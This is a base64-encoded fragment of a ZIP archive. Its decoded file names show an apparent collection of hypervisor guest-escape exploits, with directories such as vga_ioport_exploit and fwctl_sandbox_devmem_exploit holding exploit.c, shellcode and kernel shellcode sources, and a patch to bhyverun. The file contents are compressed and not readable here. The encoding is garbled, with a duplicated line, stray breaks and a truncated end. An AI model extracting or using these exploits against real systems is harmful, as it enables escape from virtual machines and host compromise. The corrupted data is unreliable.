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
kUOliB1GwxTGkMWDtSlJqjj47qa4CS533MfdixHPhbUjUFUhPAAAhx56T1kbTWWMgyWMe7gN8YMEVaQdSPgjXGeGvuURwHiNRT+J7pQfsodMlPB
e6TbfLDZDZUshzDAhx56T1kbTWWMgyWMe7gN8YMEVaQdSPgjXGeGvuURwHiNRT+J7pQfsodMlPB

gwLrYabVHAtq8OprlixP1/Koj6GX8HHjgkuOhnUj7yVbh59AFBLAwQKAAAAAACWKUlNAAAAAAAA
AAAAAAAAAKQAcAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfZGV2bWVtX2V4cGxvaXQvVVQJAAM
8m7xbXQVtXnV4CwABBOgDAAAE6AMAAFBLAwQUAAAACAArbkhN3oqoiEsBAAC/AgAANAAcAGNvZG
Uvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfZGV2bWVtX2V4cGxvaXQvc2hlbGxjb2RlLmhVVAkAA9LCu
1vqqb1bdXgLAAEE6AMAAAToAwAAfVHRasMgFH2OXyH0pR0lSbsuK2Tsqd1bX/cSihi9aWTOiBpo
GPv3aZq1TTd6QdBzjvccrxOhmGw54BcFTviVCBXXr2jyF9djnBpNk8AEGE04VP6AN9t3stvuyNs
Gj2p9kXyAUSBJSS0QXXeUc9NL0uMyDXUW2s4SRjUB5cBcSdNj+fSc8fTUOUmwpywTVOIgAGsRko
06hPuMSkmqVrFpj6j2swQzx3Ecz3IER99XYVZTM9J6Q17sc4SsMy1z2NbgGdaoShzwF4oGWCjSB
7LDJkdRK5RbZMT9vjpQujEuR9+Xdpp2sqE8dArWEb6p3q5YZD5BL7jlceRcN/D/JQx12g6J1pdA
YxPWcCiW6Wq9v6PkwtJSQvgJWgopvPfj8t6F61EW2SpIXaehqabXzCxIHwbkNB/fDzMD1AE5x5v
eDO1hjoNvtiLO/yD6AVBLAwQUAAAACAArbkhNUkezlC4JAAC9GwAANQAcAGNvZGUvc2V0dXBCL2
Z3Y3RsX3NhbmRib3hfZGV2bWVtX2V4cGxvaXQvc3RydWN0dXJlcy5oVVQJAAPSwrtb6qm9W3V4C
wABBOgDAAAE6AMAALVYbW/bOBL+LP8KAvvF9mWbOE2yAVwc4DRu1kDiBLa7u9dsQdASbRORRIWi
HGd7/e87Q+qFkuzcLu7OHxpxZjgzHD7wv4gk4+pK/p8XPGM/5u889O57hPJsf3JJFKp6R
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
DSpPgi4ZGeH2hCj0fpX9yoZucui6mREGupykX+zX8Qc8jmxzAzRkrV91CZqWpUk2o2hKpdjBe1s
xdsz1dIksSHGLqv8MpyWikZCJKeh3btUzKo8R0Q7ds/uX+TLWriPXiAqQt6gpQAVszO4mZjjVph
7kULXB5SgQtlCk/XZzYiqE+yMNo6zOQscV7fS+ImOEGlSHtfwFQSwMEFAAAAAgAK25ITZ+u/nSm
AAAAKQEAADoAHABjb2RlL3NldHVwQi9md2N0bF9zYW5kYm94X2Rldm1lbV9leHBsb2l0L2tlcm5
lbHNoZWxsY29kZS5TVVQJAAPSwrtb6qm9W3V4CwABBOgDAAAE6AMAAHWPywqDMBBF18lXzKJClR
AtdNVV/yTkpQTSqMlY4t/XV1e1q5nhcO5leLIaXR+Ao81Ieed75cG4JJW3QstBKucdzv+JsMFQj
vNgTyCDZzuFrYHSX/yg5NW/R2jy7d5ci2hcyaCIMpO6gs4iTDpawyBhnPRxQYVG7BupakpyHxVc
lgS2xGwpMper33o3gI6i9bJL4MJX351x6znaCKEkWlzn+YMP+gFQSwMEFAAAAAgAK25ITf8m1l1
nAAAAswAAADEAHABjb2RlL3NldHVwQi9md2N0bF9zYW5kYm94X2Rldm1lbV9leHBsb2l0L01ha2
VmaWxlVVQJAAPSwrtb6qm9W3V4CwABBOgDAAAE6AMAAJWMQQqEMBAEz84r+gPjXWFf4WHPcTLEx
dlEkgj6ewURz96a7qrWbH0qz3KXSsSZtQNmzVGtTGomyevZPFmgl9AKNUEE/D0lcAh+BJfqPyGu
XQdON/j+GGxLnbI6DxJTF3tq8v/eiQ5QSwMEFAAAAAgAK25ITQ9XBB9MAgAAGwgAADIAHABjb2R

lL3NldHVwQi9md2N0bF9zYW5kYm94X2Rldm1lbV9leHBsb2l0L2FkZHJlc3MuaFVUCQAD0sK7W9
LCu1t1eAsAAQToAwAABOgDAACdlcGOmzAQhs/JU/i8SxvbGBZK20t7b7uqtIcqQgabXVchUEM2P
H7HbOLFxGzUckBI8883/4xH+KD2fczyHlWPss+7XqNPCA9xzJIQZ+uDEy0OVS54z60kSbLVarOx
0fcmOksq973VUzZBtqXKZX3Y5arJn/he7ORLbUajhGOfUKjmeJZgsSSxlLACyaumrk0hdbKTxFE
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
